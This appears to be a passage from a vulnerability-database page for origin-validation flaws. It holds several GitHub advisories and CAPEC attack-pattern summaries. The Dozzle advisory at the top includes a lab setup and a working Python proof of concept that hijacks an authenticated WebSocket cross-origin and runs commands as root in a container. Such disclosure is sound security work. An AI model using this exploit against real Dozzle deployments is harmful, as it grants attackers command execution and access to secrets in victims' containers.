./data:/data\n    environment:\n      - DOZZLE_AUTH_PROVIDER=simple\n      - DOZZLE_ENABLE_SHELL=true\n\n  target:\n    image: alpine:latest\n    command: sh -c \"while true; do sleep 3600; done\"\n```\n\ndata/users.yml:\n```yaml\nusers:\n  admin:\n    name: Admin\n    # password: admin123\n    password: \"$2b$11$NdL2aePdZmwFzqGo5YYqaOwG.26CjSlnzU3VQNTEGnT0ewbds2JNS\"\n    email: admin@test.local\n    roles: shell\n```\n\n**Exploit \u2014 CSWSH with cross-origin Origin header + victim\u0027s cookie:**\n\n```python\nimport json, time, websocket, requests\n\ntarget = \"http://localhost:9090\"\n\n# Verify auth is enabled\nr = requests.get(f\"{target}/api/events/stream\", timeout=5, stream=True)\nr.close()\nassert r.status_code == 401, \"Auth not enabled\"\n\n# Victim logs in\nr = requests.post(f\"{target}/api/token\", data={\"username\": \"admin\", \"password\": \"admin123\"})\njwt = r.headers[\"Set-Cookie\"].split(\"jwt=\")[1].split(\";\")[0]\n\n# Get container info (authenticated)\nr = requests.get(f\"{target}/api/events/stream\", cookies={\"jwt\": jwt}, stream=True, timeout=10)\nfor line in r.iter_lines(decode_unicode=True):\n    if line and line.startswith(\"data: \"):\n        data = json.loads(line[6:])\n        if isinstance(data, list) and len(data) \u003e 0 and \"host\" in data[0]:\n            host_id = data[0][\"host\"]\n            cid = data[0][\"id\"]\n            break\nr.close()\n\n# CSWSH: cross-origin WebSocket with victim\u0027s cookie\nws_url = f\"ws://localhost:9090/api/hosts/{host_id}/containers/{cid}/exec\"\nws = websocket.create_connection(\n    ws_url, timeout=10,\n    cookie=f\"jwt={jwt}\",\n    origin=\"http://localhost:8888\"  # DIFFERENT origin\n)\n# Connected! CheckOrigin:true accepted the cross-origin request\n\nws.send(json.dumps({\"type\": \"resize\", \"width\": 120, \"height\": 40}))\ntime.sleep(1); ws.recv()\n\nws.send(json.dumps({\"type\": \"userinput\", \"data\": \"id\\n\"}))\ntime.sleep(2)\nws.settimeout(2)\noutput = []\ntry:\n    while True:\n        output.append(ws.recv())\nexcept:\n    pass\nws.close()\nprint(\"\".join(output))\n# uid=0(root) gid=0(root) groups=0(root)\n\n# Verify: without cookie = rejected\ntry:\n    ws2 = websocket.create_connection(ws_url, timeout=5, origin=\"http://localhost:8888\")\n    ws2.close()\nexcept Exception as e:\n    print(f\"Without cookie: {e}\")  # 401 Unauthorized\n```\n\n**Result:**\n```\n[+] Auth is ENABLED (events stream returns 401)\n[+] WebSocket CONNECTED with cross-origin Origin: http://localhost:8888\n[+] uid=0(root) gid=0(root) groups=0(root)\n[+] Without cookie -\u003e 401 Unauthorized\n```\n\n## Impact\n\nUsers who deploy Dozzle with `--enable-shell` and properly configure authentication are still vulnerable to CSWSH. An attacker on a same-site origin can hijack the authenticated WebSocket to:\n\n- Execute arbitrary commands in any container the victim has access to\n- Read secrets, environment variables, and files inside containers\n- Pivot to other services accessible from the container network\n- Potentially escape to the Docker host if the socket is mounted writable\n\n## Suggested fix\n\nRemove the custom `CheckOrigin` override and use the gorilla/websocket default, which rejects cross-origin requests:\n\n```go\nvar upgrader = websocket.Upgrader{\n    ReadBufferSize:  1024,\n    WriteBufferSize: 1024,\n    // Default CheckOrigin rejects cross-origin requests\n}\n```",
  "id": "GHSA-j643-x8pv-8m67",
  "modified": "2026-06-08T23:35:14Z",
  "published": "2026-05-11T14:07:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/amir20/dozzle/security/advisories/GHSA-j643-x8pv-8m67"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44985"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/amir20/dozzle"
    },
    {
      "type": "WEB",
      "url": "https://github.com/amir20/dozzle/releases/tag/v10.5.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Dozzle\u0027s Cross-Site WebSocket Hijacking (CSWSH) on exec/attach endpointsbypasses authentication"
}

GHSA-J665-28Q6-PWVC

Vulnerability from github – Published: 2026-06-05 00:31 – Updated: 2026-06-05 15:32

Details

Inappropriate implementation in Downloads in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to bypass navigation restrictions via a crafted HTML page. (Chromium security severity: Low)

Severity

5.4 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L

Show details on source website

JSON

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{
  "affected": [],
  "aliases": [
    "CVE-2026-11243"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-05T00:17:00Z",
    "severity": "MODERATE"
  },
  "details": "Inappropriate implementation in Downloads in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to bypass navigation restrictions via a crafted HTML page. (Chromium security severity: Low)",
  "id": "GHSA-j665-28q6-pwvc",
  "modified": "2026-06-05T15:32:20Z",
  "published": "2026-06-05T00:31:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11243"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/497394061"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J77F-3HF7-7RVG

Vulnerability from github – Published: 2025-12-03 12:30 – Updated: 2026-04-20 15:31

Details

A flaw was found in WebKitGTK. This vulnerability allows remote, user-assisted information disclosure that can reveal any file the user is permitted to read via abusing the file drag-and-drop mechanism where WebKitGTK does not verify that drag operations originate from outside the browser.

Severity

7.4 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

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JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-13947"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-03T10:15:47Z",
    "severity": "HIGH"
  },
  "details": "A flaw was found in WebKitGTK. This vulnerability allows remote, user-assisted information disclosure that can reveal any file the user is permitted to read via abusing the file drag-and-drop mechanism where WebKitGTK does not verify that drag operations originate from outside the browser.",
  "id": "GHSA-j77f-3hf7-7rvg",
  "modified": "2026-04-20T15:31:50Z",
  "published": "2025-12-03T12:30:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13947"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:22789"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:22790"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:23110"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:23433"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:23434"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:23451"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:23452"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:23583"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:23591"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:23742"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:23743"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2025-13947"
    },
    {
      "type": "WEB",
      "url": "https://bugs.webkit.org/show_bug.cgi?id=271957"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2418576"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J8G2-W9R2-VFJ2

Vulnerability from github – Published: 2026-05-06 09:31 – Updated: 2026-05-06 09:31

Details

Vulnerability in the Oracle Macoron Tool product of Oracle Open Source Projects. The supported versions that is affected is v0.22.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Macaron Tool. Successful attacks of this vulnerability can result in Oracle Macaron Tool failing host address validation.

Severity

4.7 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N

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JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-35253"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346",
      "CWE-601"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-06T08:16:03Z",
    "severity": "MODERATE"
  },
  "details": "Vulnerability in the Oracle Macoron Tool product of Oracle Open Source Projects. The supported versions that is affected is v0.22.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Macaron Tool. Successful attacks of this vulnerability can result in Oracle Macaron Tool failing host address validation.",
  "id": "GHSA-j8g2-w9r2-vfj2",
  "modified": "2026-05-06T09:31:35Z",
  "published": "2026-05-06T09:31:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35253"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/all-oracle-cves-outside-other-oracle-public-documents.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J8G4-QGJP-W2G8

Vulnerability from github – Published: 2023-10-23 15:30 – Updated: 2024-04-04 08:52

Details

The Zscaler Client Connector Installer and Unsintallers for Windows prior to 3.6 had an unquoted search path vulnerability. A local adversary may be able to execute code with SYSTEM privileges.

Severity

6.7 (Medium)


                  
                    CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2021-26735"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346",
      "CWE-428"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-10-23T14:15:09Z",
    "severity": "HIGH"
  },
  "details": "The Zscaler Client Connector Installer and Unsintallers for Windows prior to 3.6 had an unquoted search path vulnerability. A local adversary may be able to execute code with SYSTEM privileges.\n\n\n\n\n\n",
  "id": "GHSA-j8g4-qgjp-w2g8",
  "modified": "2024-04-04T08:52:53Z",
  "published": "2023-10-23T15:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-26735"
    },
    {
      "type": "WEB",
      "url": "https://help.zscaler.com/zscaler-client-connector/client-connector-app-release-summary-2021"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J8XR-5V62-3RX4

Vulnerability from github – Published: 2026-06-16 15:33 – Updated: 2026-06-16 21:31

Details

Same-origin policy bypass in the Networking: Cookies component. This vulnerability was fixed in Firefox 152 and Firefox ESR 140.12.

Severity

9.1 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2026-12304"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-16T13:16:30Z",
    "severity": "CRITICAL"
  },
  "details": "Same-origin policy bypass in the Networking: Cookies component. This vulnerability was fixed in Firefox 152 and Firefox ESR 140.12.",
  "id": "GHSA-j8xr-5v62-3rx4",
  "modified": "2026-06-16T21:31:55Z",
  "published": "2026-06-16T15:33:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12304"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2034944"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2026-57"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2026-58"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2026-60"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2026-61"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)

An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.

CAPEC-141: Cache Poisoning

An attacker exploits the functionality of cache technologies to cause specific data to be cached that aids the attackers' objectives. This describes any attack whereby an attacker places incorrect or harmful material in cache. The targeted cache can be an application's cache (e.g. a web browser cache) or a public cache (e.g. a DNS or ARP cache). Until the cache is refreshed, most applications or clients will treat the corrupted cache value as valid. This can lead to a wide range of exploits including redirecting web browsers towards sites that install malware and repeatedly incorrect calculations based on the incorrect value.

CAPEC-142: DNS Cache Poisoning

A domain name server translates a domain name (such as www.example.com) into an IP address that Internet hosts use to contact Internet resources. An adversary modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the adversary specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Adversaries can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack.

CAPEC-160: Exploit Script-Based APIs

Some APIs support scripting instructions as arguments. Methods that take scripted instructions (or references to scripted instructions) can be very flexible and powerful. However, if an attacker can specify the script that serves as input to these methods they can gain access to a great deal of functionality. For example, HTML pages support <script> tags that allow scripting languages to be embedded in the page and then interpreted by the receiving web browser. If the content provider is malicious, these scripts can compromise the client application. Some applications may even execute the scripts under their own identity (rather than the identity of the user providing the script) which can allow attackers to perform activities that would otherwise be denied to them.

CAPEC-21: Exploitation of Trusted Identifiers

An adversary guesses, obtains, or "rides" a trusted identifier (e.g. session ID, resource ID, cookie, etc.) to perform authorized actions under the guise of an authenticated user or service.

CAPEC-384: Application API Message Manipulation via Man-in-the-Middle

An attacker manipulates either egress or ingress data from a client within an application framework in order to change the content of messages. Performing this attack can allow the attacker to gain unauthorized privileges within the application, or conduct attacks such as phishing, deceptive strategies to spread malware, or traditional web-application attacks. The techniques require use of specialized software that allow the attacker to perform adversary-in-the-middle (CAPEC-94) communications between the web browser and the remote system. Despite the use of AiTH software, the attack is actually directed at the server, as the client is one node in a series of content brokers that pass information along to the application framework. Additionally, it is not true "Adversary-in-the-Middle" attack at the network layer, but an application-layer attack the root cause of which is the master applications trust in the integrity of code supplied by the client.

CAPEC-385: Transaction or Event Tampering via Application API Manipulation

An attacker hosts or joins an event or transaction within an application framework in order to change the content of messages or items that are being exchanged. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that look authentic but may contain deceptive links, substitute one item or another, spoof an existing item and conduct a false exchange, or otherwise change the amounts or identity of what is being exchanged. The techniques require use of specialized software that allow the attacker to man-in-the-middle communications between the web browser and the remote system in order to change the content of various application elements. Often, items exchanged in game can be monetized via sales for coin, virtual dollars, etc. The purpose of the attack is for the attack to scam the victim by trapping the data packets involved the exchange and altering the integrity of the transfer process.

CAPEC-386: Application API Navigation Remapping

An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of links/buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains links/buttons that point to an attacker controlled destination. Some applications make navigation remapping more difficult to detect because the actual HREF values of images, profile elements, and links/buttons are masked. One example would be to place an image in a user's photo gallery that when clicked upon redirected the user to an off-site location. Also, traditional web vulnerabilities (such as CSRF) can be constructed with remapped buttons or links. In some cases navigation remapping can be used for Phishing attacks or even means to artificially boost the page view, user site reputation, or click-fraud.

CAPEC-387: Navigation Remapping To Propagate Malicious Content

An adversary manipulates either egress or ingress data from a client within an application framework in order to change the content of messages and thereby circumvent the expected application logic.

CAPEC-388: Application API Button Hijacking

An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains buttons that point to an attacker controlled destination.

CAPEC-510: SaaS User Request Forgery

An adversary, through a previously installed malicious application, performs malicious actions against a third-party Software as a Service (SaaS) application (also known as a cloud based application) by leveraging the persistent and implicit trust placed on a trusted user's session. This attack is executed after a trusted user is authenticated into a cloud service, "piggy-backing" on the authenticated session, and exploiting the fact that the cloud service believes it is only interacting with the trusted user. If successful, the actions embedded in the malicious application will be processed and accepted by the targeted SaaS application and executed at the trusted user's privilege level.

CAPEC-59: Session Credential Falsification through Prediction

This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.

CAPEC-60: Reusing Session IDs (aka Session Replay)

This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.

CAPEC-75: Manipulating Writeable Configuration Files

Generally these are manually edited files that are not in the preview of the system administrators, any ability on the attackers' behalf to modify these files, for example in a CVS repository, gives unauthorized access directly to the application, the same as authorized users.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

CAPEC-89: Pharming

A pharming attack occurs when the victim is fooled into entering sensitive data into supposedly trusted locations, such as an online bank site or a trading platform. An attacker can impersonate these supposedly trusted sites and have the victim be directed to their site rather than the originally intended one. Pharming does not require script injection or clicking on malicious links for the attack to succeed.

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